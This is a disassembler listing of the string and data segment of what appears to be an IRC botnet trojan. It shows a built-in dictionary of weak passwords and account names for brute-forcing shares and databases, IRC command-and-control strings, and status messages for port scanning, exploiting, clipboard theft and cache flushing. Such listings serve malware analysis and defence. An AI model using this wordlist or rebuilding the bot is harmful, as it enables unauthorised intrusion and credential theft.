aAdult db 'adult',0 ; DATA XREF: seg002:0042346Co
align 4
aAdrianna db 'adrianna',0 ; DATA XREF: seg002:00423468o
align 4
aAdrian db 'adrian',0 ; DATA XREF: seg002:00423464o
align 10h
aAdam db 'adam',0 ; DATA XREF: seg002:00423460o
align 4
aAction db 'action',0 ; DATA XREF: seg002:0042345Co
align 10h
aAccount db 'account',0 ; DATA XREF: seg002:00423458o
aAcademic db 'academic',0 ; DATA XREF: seg002:00423450o
align 4
aAcademia db 'academia',0 ; DATA XREF: seg002:0042344Co
align 10h
a000000 db '000000',0 ; DATA XREF: seg002:00423448o
; seg002:00424E60o
align 4
a00000 db '00000',0 ; DATA XREF: seg002:00423444o
; seg002:00424E5Co
align 10h
a0000 db '0000',0 ; DATA XREF: seg002:00423440o
; seg002:00424E58o
align 4
a000 db '000',0 ; DATA XREF: seg002:0042343Co
; seg002:00424E54o
aTesting db 'testing',0 ; DATA XREF: seg002:00423438o
aDeath db 'death',0 ; DATA XREF: seg002:00423434o
align 4
a00 db '00',0 ; DATA XREF: seg002:00423430o
; seg002:00424E50o
align 10h
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: seg002:00423428o
; seg002:004252A0o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: seg002:00423424o
; seg002:0042529Co
align 4
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: seg002:00423420o
; seg002:00425298o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: seg002:0042341Co
; seg002:00425294o
align 4
aXxxxx db 'xxxxx',0 ; DATA XREF: seg002:00423418o
; seg002:00425290o
align 10h
aXxxx db 'xxxx',0 ; DATA XREF: seg002:00423414o
; seg002:0042528Co
align 4
aXxx db 'xxx',0 ; DATA XREF: seg002:00423410o
; seg002:00425288o
aXx db 'xx',0 ; DATA XREF: seg002:0042340Co
; seg002:00425284o
align 10h
asc_429AE0: ; DATA XREF: seg002:00423408o
; seg002:00425280o
unicode 0, <x>,0
aGuessme db 'guessme',0 ; DATA XREF: seg002:00423404o
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: seg002:00423400o
align 4
aUwontguessme db 'uwontguessme',0 ; DATA XREF: seg002:004233FCo
align 4
aMirc_0 db 'mirc',0 ; DATA XREF: seg002:004233F8o
align 4
aKiddie db 'kiddie',0 ; DATA XREF: seg002:004233F4o
align 4
aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: seg002:004233F0o
align 4
aScript db 'script',0 ; DATA XREF: seg002:004233ECo
align 4
aHax0r db 'hax0r',0 ; DATA XREF: seg002:004233E8o
align 4
aHacker db 'hacker',0 ; DATA XREF: seg002:004233E4o
align 4
aL337 db 'l337',0 ; DATA XREF: seg002:004233E0o
align 4
aL33t db 'l33t',0 ; DATA XREF: seg002:004233DCo
align 4
aLeet db 'leet',0 ; DATA XREF: seg002:004233D8o
align 4
aKiller db 'killer',0 ; DATA XREF: seg002:004233D4o
align 4
a0wn3d db '0wn3d',0 ; DATA XREF: seg002:004233D0o
; seg002:00424EBCo
align 4
aW00t db 'w00t',0 ; DATA XREF: seg002:004233CCo
align 4
aHeaven db 'heaven',0 ; DATA XREF: seg002:004233C8o
align 4
aSpaceman db 'spaceman',0 ; DATA XREF: seg002:004233C4o
align 4
aSatanic db 'satanic',0 ; DATA XREF: seg002:004233C0o
aSatanik db 'satanik',0 ; DATA XREF: seg002:004233BCo
aSatan db 'satan',0 ; DATA XREF: seg002:004233B8o
align 10h
aGobo db 'gobo',0 ; DATA XREF: seg002:004233B4o
align 4
aMatthew db 'Matthew',0 ; DATA XREF: seg002:004233B0o
aMatt db 'Matt',0 ; DATA XREF: seg002:004233ACo
align 4
aMat db 'Mat',0 ; DATA XREF: seg002:004233A8o
aPw db 'pw',0 ; DATA XREF: seg002:004233A4o
align 10h
aMypass123 db 'mypass123',0 ; DATA XREF: seg002:004233A0o
align 4
aMypass db 'mypass',0 ; DATA XREF: seg002:0042339Co
align 4
aPw123 db 'pw123',0 ; DATA XREF: seg002:00423398o
align 4
aAdmin123 db 'admin123',0 ; DATA XREF: seg002:00423394o
align 4
aMypc123 db 'mypc123',0 ; DATA XREF: seg002:00423390o
aMypc db 'mypc',0 ; DATA XREF: seg002:0042338Co
align 4
aLove db 'love',0 ; DATA XREF: seg002:00423388o
align 10h
aPwd db 'pwd',0 ; DATA XREF: seg002:00423384o
aLogin db 'login',0 ; DATA XREF: seg002:00423380o
align 4
aHome db 'home',0 ; DATA XREF: seg002:0042337Co
align 4
aZxcv db 'zxcv',0 ; DATA XREF: seg002:00423378o
; seg002:004252C0o
align 4
aYxcv db 'yxcv',0 ; DATA XREF: seg002:00423374o
align 4
aQwer db 'qwer',0 ; DATA XREF: seg002:00423370o
; seg002:0042522Co
align 4
aSecret db 'secret',0 ; DATA XREF: seg002:0042336Co
align 4
aAsdf db 'asdf',0 ; DATA XREF: seg002:00423368o
; seg002:004252D8o
align 4
aPc db 'pc',0 ; DATA XREF: seg002:00423364o
align 10h
aWin db 'win',0 ; DATA XREF: seg002:00423360o
aTest123 db 'test123',0 ; DATA XREF: seg002:0042335Co
aAbc db 'abc',0 ; DATA XREF: seg002:00423358o
aAaa db 'aaa',0 ; DATA XREF: seg002:00423354o
; seg002:00425200o
aA_1: ; DATA XREF: seg002:00423350o
; seg002:004251F8o
unicode 0, <a>,0
aCrash db 'crash',0 ; DATA XREF: seg002:0042334Co
align 10h
aFucked db 'fucked',0 ; DATA XREF: seg002:00423348o
align 4
aNetfuck db 'netfuck',0 ; DATA XREF: seg002:00423344o
aIrule db 'irule',0 ; DATA XREF: seg002:00423340o
align 4
aOwned db 'owned',0 ; DATA XREF: seg002:0042333Co
align 10h
a0wned db '0wned',0 ; DATA XREF: seg002:00423338o
; seg002:00424EC0o
align 4
aNetDevil db 'net-devil',0 ; DATA XREF: seg002:00423334o
align 4
aNetdevil db 'netdevil',0 ; DATA XREF: seg002:00423330o
align 10h
aDevil db 'devil',0 ; DATA XREF: seg002:0042332Co
align 4
aNilez db 'Nilez',0 ; DATA XREF: seg002:00423328o
align 10h
aFoobar db 'foobar',0 ; DATA XREF: seg002:00423324o
align 4
aGod db 'god',0 ; DATA XREF: seg002:00423320o
aSex_0 db 'sex',0 ; DATA XREF: seg002:0042331Co
aPat db 'pat',0 ; DATA XREF: seg002:00423318o
aPatrick db 'patrick',0 ; DATA XREF: seg002:00423314o
aAlpha db 'alpha',0 ; DATA XREF: seg002:00423310o
align 4
a007 db '007',0 ; DATA XREF: seg002:0042330Co
; seg002:00424EACo
a123abc db '123abc',0 ; DATA XREF: seg002:00423308o
; seg002:004250BCo
align 10h
a1234qwer db '1234qwer',0 ; DATA XREF: seg002:00423304o
; seg002:004250C8o
align 4
a123123 db '123123',0 ; DATA XREF: seg002:00423300o
; seg002:00425068o
align 4
a121212 db '121212',0 ; DATA XREF: seg002:004232FCo
; seg002:00425060o
align 4
a111111 db '111111',0 ; DATA XREF: seg002:004232F8o
; seg002:00424ED8o
align 4
a110 db '110',0 ; DATA XREF: seg002:004232F4o
; seg002:0042502Co
a2600 db '2600',0 ; DATA XREF: seg002:004232F0o
; seg002:004251B4o
align 10h
a2002 db '2002',0 ; DATA XREF: seg002:004232E8o
; seg002:004251A0o
align 4
aXp_0 db 'xp',0 ; DATA XREF: seg002:004232E4o
align 4
aEnable db 'enable',0 ; DATA XREF: seg002:004232E0o
align 4
aGodblessyou db 'godblessyou',0 ; DATA XREF: seg002:004232DCo
aIhavenopass db 'ihavenopass',0 ; DATA XREF: seg002:004232D8o
a123asd db '123asd',0 ; DATA XREF: seg002:004232D4o
; seg002:004250C0o
align 4
aSuper db 'super',0 ; DATA XREF: seg002:004232D0o
align 4
aInternet db 'Internet',0 ; DATA XREF: seg002:004232CCo
align 4
a123qwe db '123qwe',0 ; DATA XREF: seg002:004232C4o
; seg002:004250C4o
align 10h
aSybase db 'sybase',0 ; DATA XREF: seg002:004232C0o
align 4
aAbc123 db 'abc123',0 ; DATA XREF: seg002:004232B8o
align 10h
aAbcd db 'abcd',0 ; DATA XREF: seg002:004232B4o
align 4
aPasswd db 'passwd',0 ; DATA XREF: seg002:004232ACo
align 10h
aPass_0 db 'pass',0 ; DATA XREF: seg002:004232A8o
align 4
a88888888 db '88888888',0 ; DATA XREF: seg002:004232A4o
; seg002:00424FF8o
align 4
a11111111 db '11111111',0 ; DATA XREF: seg002:004232A0o
; seg002:00424EE0o
align 10h
a111 db '111',0 ; DATA XREF: seg002:0042329Co
; seg002:00424ECCo
a54321 db '54321',0 ; DATA XREF: seg002:00423298o
; seg002:004251C0o
align 4
a654321 db '654321',0 ; DATA XREF: seg002:00423294o
; seg002:004251C4o
align 4
a123456789 db '123456789',0 ; DATA XREF: seg002:00423290o
; seg002:00425080o
align 10h
a12345678 db '12345678',0 ; DATA XREF: seg002:0042328Co
; seg002:0042507Co
align 4
a1234567 db '1234567',0 ; DATA XREF: seg002:00423288o
; seg002:00425078o
a123456 db '123456',0 ; DATA XREF: seg002:00423284o
; seg002:00425074o
align 4
a12345 db '12345',0 ; DATA XREF: seg002:00423280o
; seg002:00425070o
align 4
a1234 db '1234',0 ; DATA XREF: seg002:0042327Co
; seg002:0042506Co
align 4
a123 db '123',0 ; DATA XREF: seg002:00423278o
; seg002:00425064o
a12 db '12',0 ; DATA XREF: seg002:00423274o
; seg002:00425058o
align 4
a1: ; DATA XREF: seg002:00423270o
; seg002:00424EC4o
unicode 0, <1>,0
aTemp123 db 'temp123',0 ; DATA XREF: seg002:0042326Co
aChangeme_0 db 'Changeme',0 ; DATA XREF: seg002:00423268o
align 4
aChangeme db 'changeme',0 ; DATA XREF: seg002:00423264o
align 4
aLinux db 'linux',0 ; DATA XREF: seg002:00423260o
align 10h
aUnix db 'unix',0 ; DATA XREF: seg002:0042325Co
align 4
aLocal db 'LOCAL',0 ; DATA XREF: seg002:00423258o
align 10h
aPepsi db 'pepsi',0 ; DATA XREF: seg002:00423254o
align 4
aServer_1 db 'SERVER',0 ; DATA XREF: seg002:00423250o
; seg002:00425610o
align 10h
aSystem_0 db 'SYSTEM',0 ; DATA XREF: seg002:0042324Co
; seg002:00425260o ...
align 4
aBackup db 'BACKUP',0 ; DATA XREF: seg002:00423248o
; seg002:00425608o
align 10h
aAccess db 'ACCESS',0 ; DATA XREF: seg002:00423240o
; seg002:00425600o
align 4
aTest db 'TEST',0 ; DATA XREF: seg002:0042323Co
; seg002:004255FCo
align 10h
aEdu db 'edu',0 ; DATA XREF: seg002:00423238o
; seg002:004255F8o
aOwner_1 db 'Owner',0 ; DATA XREF: seg002:00423234o
; seg002:004255F4o
align 4
aOwner_0 db 'OWNER',0 ; DATA XREF: seg002:00423230o
; seg002:004255F0o
align 4
aDemo db 'DEMO',0 ; DATA XREF: seg002:0042322Co
; seg002:004255ECo
align 4
aFiles db 'FILES',0 ; DATA XREF: seg002:00423228o
; seg002:004255E8o
align 4
aRead db 'READ',0 ; DATA XREF: seg002:00423224o
; seg002:004255E4o
align 4
aBoth db 'BOTH',0 ; DATA XREF: seg002:00423220o
; seg002:004255E0o
align 4
aLadeda db 'ladeda',0 ; DATA XREF: seg002:0042321Co
; seg002:004255DCo
align 4
aFull_0 db 'FULL',0 ; DATA XREF: seg002:00423218o
; seg002:004255D8o
align 4
aWrite db 'WRITE',0 ; DATA XREF: seg002:00423214o
; seg002:004255D4o
align 4
aShare_0 db 'SHARE',0 ; DATA XREF: seg002:00423210o
; seg002:004255D0o
align 4
aTemp db 'TEMP',0 ; DATA XREF: seg002:0042320Co
; seg002:004255CCo
align 4
aPassword db 'PASSWORD',0 ; DATA XREF: seg002:00423208o
; seg002:004255C8o
align 4
aAdmin_0 db 'ADMIN',0 ; DATA XREF: seg002:00423204o
; seg002:004255C4o
align 10h
aRoot_0 db 'ROOT',0 ; DATA XREF: seg002:004231FCo
; seg002:004255BCo
align 4
aGuest_1 db 'GUEST',0 ; DATA XREF: seg002:004231F8o
; seg002:004255B8o
align 10h
aBla db 'bla',0 ; DATA XREF: seg002:004231F4o
; seg002:004255B4o
aFubar db 'fubar',0 ; DATA XREF: seg002:004231F0o
; seg002:004255B0o
align 4
aAdministrato_1 db 'ADMINISTRATOR',0 ; DATA XREF: seg002:004231E4o
; seg002:004255A4o
align 4
aDb2 db 'db2',0 ; DATA XREF: seg002:004231D4o
aOracle db 'oracle',0 ; DATA XREF: seg002:004231D0o
; seg002:004232BCo
align 4
aDba db 'dba',0 ; DATA XREF: seg002:004231CCo
aDatabase db 'database',0 ; DATA XREF: seg002:004231C8o
; seg002:004232B0o
align 4
aDefault db 'default',0 ; DATA XREF: seg002:004231C4o
; seg002:00423950o
aGuest_0 db 'guest',0 ; DATA XREF: seg002:004231C0o
align 4
aWwwadmin db 'wwwadmin',0 ; DATA XREF: seg002:004231BCo
align 4
aTeacher db 'teacher',0 ; DATA XREF: seg002:004231B8o
; seg002:004248E4o
aStudent db 'student',0 ; DATA XREF: seg002:004231B4o
; seg002:0042482Co
aOwner db 'owner',0 ; DATA XREF: seg002:004231B0o
align 4
aComputer db 'computer',0 ; DATA XREF: seg002:004231ACo
; seg002:004232C8o
align 4
aRoot db 'root',0 ; DATA XREF: seg002:004231A8o
; seg002:00423200o ...
align 10h
aStaff db 'staff',0 ; DATA XREF: seg002:004231A4o
align 4
aAdmin db 'admin',0 ; DATA XREF: seg002:004231A0o
align 10h
aAdmins db 'admins',0 ; DATA XREF: seg002:0042319Co
align 4
aAdministrat db 'administrat',0 ; DATA XREF: seg002:00423198o
aAdministrateur db 'administrateur',0 ; DATA XREF: seg002:00423194o
align 4
aAdministrador db 'administrador',0 ; DATA XREF: seg002:00423190o
align 4
aAdministrato_0 db 'administrator',0 ; DATA XREF: seg002:0042318Co
; seg002:004231ECo ...
align 4
aAdministrator db 'Administrator',0 ; DATA XREF: sub_40EC42:loc_40ED4Do
; seg002:00423188o ...
align 4
aMirc1_6_99 db 'mirc 1.6.99',0 ; DATA XREF: seg002:off_4230DCo
a@room db '*@room',0 ; DATA XREF: seg002:off_4230D8o
align 4
unk_429FD8 db 2 ; DATA XREF: seg000:00408F52o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStartR db ' Failed to start registry thread, error: <%d>.',0
align 4
unk_42A028 db 2 ; DATA XREF: seg000:00408EFFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aRegistryMonito db ' Registry monitor active.',0
align 4
unk_42A064 db 2 ; DATA XREF: seg000:00408EDFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aFailedToStar_4 db ' Failed to start secure thread, error: <%d>.',0
align 4
unk_42A0B4 db 2 ; DATA XREF: seg000:00408E8Eo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 65h, 63h, 75h
db 72h ; r
db 65h, 2Eh, 6Dh
db 1Fh
db 64h, 1Fh, 6Ch
db 20h
db 29h, 20h, 2
db 0BBh ;
db 0BBh, 2, 20h
aSystemSecureMo db ' System secure monitor active.',0
align 4
dword_42A0F4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:00408E53o
dd 2029206Ch, 2BBBB02h, 6F422020h, 74732074h, 65747261h
dd 2E64h, 25207325h, 25222064h, 2273h
dword_42A12C dd 255C7325h, 73hdword_42A134 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: sub_4090B0+F2o
dd 2029206Ch, 2BBBB02h
aConnectedToS_ db ' Connected to %s.',0
align 4
aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_409218+62o
db 'USER %s 0 0 :%s',0Dh,0Ah,0
align 10h
aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_409218+35o
align 4
aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040E2F3o
align 4
aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040E2DEo
align 4
dword_42A1AC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E2CAo
dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_ db ' User: %s logged in.',0
align 10h
dword_42A1E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E2ADo
dd 2029206Ch, 2BBBB02h
aPasswordAccept db ' Password accepted.',0
align 4
dword_42A214 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E23Do
dd 2029206Ch, 2BBBB02h
aFailedHostAuth db ' *Failed host auth by: (%s!%s).',0
align 4
dword_42A254 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E1DFo
dd 2029206Ch, 2BBBB02h
aFailedPassAuth db ' *Failed pass auth by: (%s!%s).',0
align 4
aNoticeSYouVeBe db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
; DATA XREF: seg000:0040E1D0o
; seg000:0040E22Eo
align 4
aNoticeSNiceTry db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
; DATA XREF: seg000:0040E1BCo
; seg000:0040E21Ao
align 10h
asc_42A2E0: ; DATA XREF: seg000:0040E18Co
unicode 0, <~>,0
dword_42A2E4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E13Bo
dd 2029206Ch, 2BBBB02h
aRandomNickChan db ' Random nick change: %s',0
align 4
dword_42A31C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E081o
dd 2029206Ch, 2BBBB02h
aInvalidLoginSl db ' Invalid login slot number: %d.',0
align 4
dword_42A35C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040E079o
dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn db ' No user logged in at slot: %d.',0
align 4
dword_42A39C dd 72027002h, 1F631F6Fh, 2E2Ehdword_42A3A8 dd 636F7250h, 20737365h, 7473696Ch, 0dword_42A3B8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DFD2o
dd 2029206Ch, 2BBBB02h, 65522020h, 6E6E6F63h, 69746365h
dd 2E676Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DFC5o
align 4
dword_42A3FC dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DFB0o
dd 2029206Ch, 2BBBB02h, 69442020h, 6E6F6373h, 7463656Eh
dd 2E676E69h, 0
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40DFA3o
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040DF7Bo
align 10h
dword_42A450 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DF2Fo
dd 2029206Ch, 2BBBB02h
aStatusReady_Bo db ' Status: Ready. Bot Uptime: %s.',0
align 10h
dword_42A490 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DEF1o
dd 2029206Ch, 2BBBB02h, 6F422020h, 44492074h, 7325203Ah
dd 2Eh
dword_42A4BC dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:0040DEC6o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStartL db ' Failed to start list thread, error: <%d>.',0
dword_42A508 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:0040DE55o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 694C2020h, 74207473h
dd 61657268h, 2E7364h
dword_42A538 dd 627573h dword_42A53C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DDDDo
dd 2029206Ch, 2BBBB02h, 6C412020h, 20736169h, 7473696Ch
dd 2Eh
dword_42A568 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: seg000:0040DDC2o
dd 2029206Ch, 2BBBB02h
aFailedToStar_5 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42A5B4 dd 28026502h, 62302E31h, 20282029h, 2E676F6Ch, 1F641F6Dh
; DATA XREF: seg000:0040DD35o
dd 2029206Ch, 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h
dd 2E67h
dword_42A5E0 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DCAEo
dd 2029206Ch, 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh
dd 2E6F66h
dword_42A60C dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DC7Fo
dd 2029206Ch, 2BBBB02h, 79532020h, 6D657473h, 666E4920h
dd 2E6Fh
dword_42A638 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DC2Ao
dd 2029206Ch, 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh
dd 2E746Fh
dword_42A664 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0040DC0Eo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_6 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42A6B4 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0040DB99o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h, 72502020h, 6563636Fh
dd 6C207373h, 2E747369h, 0
aFull db 'full',0 ; DATA XREF: seg000:0040DB79o
align 10h
dword_42A6F0 dd 28026502h, 62302E31h, 20282029h, 636F7270h, 2E737365h
; DATA XREF: seg000:0040DB17o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyRunning db ' Already running.',0
align 4
dword_42A724 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DAC6o
dd 2029206Ch, 2BBBB02h, 70552020h, 656D6974h, 7325203Ah
dd 2Eh
dword_42A750 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040DA37o
dd 2029206Ch, 2BBBB02h, 65472020h, 6C432074h, 6F627069h
dd 2E647261h, 0
aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: seg000:0040DA09o
align 4
unk_42A794 db 2 ; DATA XREF: seg000:loc_40D9E5o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushA db ' Failed to flush ARP cache.',0
align 4
unk_42A7D4 db 2 ; DATA XREF: seg000:0040D9DEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aArpCacheFlushe db ' ARP cache flushed.',0
align 4
unk_42A80C db 2 ; DATA XREF: seg000:loc_40D9CEo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToLoadDn db ' Failed to load dnsapi.dll.',0
align 4
unk_42A84C db 2 ; DATA XREF: seg000:loc_40D9C7o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aFailedToFlushD db ' Failed to flush DNS cache.',0
align 4
unk_42A88C db 2 ; DATA XREF: seg000:0040D9C0o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2Eh ; .
db 6Dh, 1Fh, 64h
db 1Fh
db 6Ch, 20h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDnsCacheFlushe db ' DNS cache flushed.',0
align 4
unk_42A8C4 db 2 ; DATA XREF: seg000:0040D945o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0
unk_42A910 db 2 ; DATA XREF: seg000:0040D7D3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aFailedToStar_8 db 'Failed to start server thread, error: <%d>.',0
unk_42A95C db 2 ; DATA XREF: seg000:0040D6A3o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ;
db 2, 2 dup(20h)
aAlreadyRunni_0 db 'Already running.',0
align 10h
dword_42A990 dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:loc_40D679o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToStar_9 db ' Failed to start scan, port is invalid.',0
align 4
dword_42A9DC dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
; DATA XREF: seg000:0040D5BAo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
dword_42AA58 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D372o
dd 2029206Ch, 2BBBB02h
aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0
align 10h
dword_42AA90 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D359o
dd 2029206Ch, 2BBBB02h
aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0
dword_42AAC4 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D33Co
dd 2029206Ch, 2BBBB02h
aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0
dword_42AAF8 dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
; DATA XREF: seg000:0040D326o
dd 2029206Ch, 2BBBB02h, 52492020h, 61522043h, 25203A77h
dd 2E73h
dword_42AB24 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:loc_40D2A8o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToKillTh db ' Failed to kill thread: %s.',0
align 4
dword_42AB64 dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:0040D2A1o
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aKilledThreadS_ db ' Killed thread: %s.',0
align 4
dword_42AB9C dd 28026502h, 62302E31h, 20282029h, 65726874h, 2E736461h
; DATA XREF: seg000:loc_40D25Bo
dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aNoActiveThread db ' No active threads found.',0
align 4
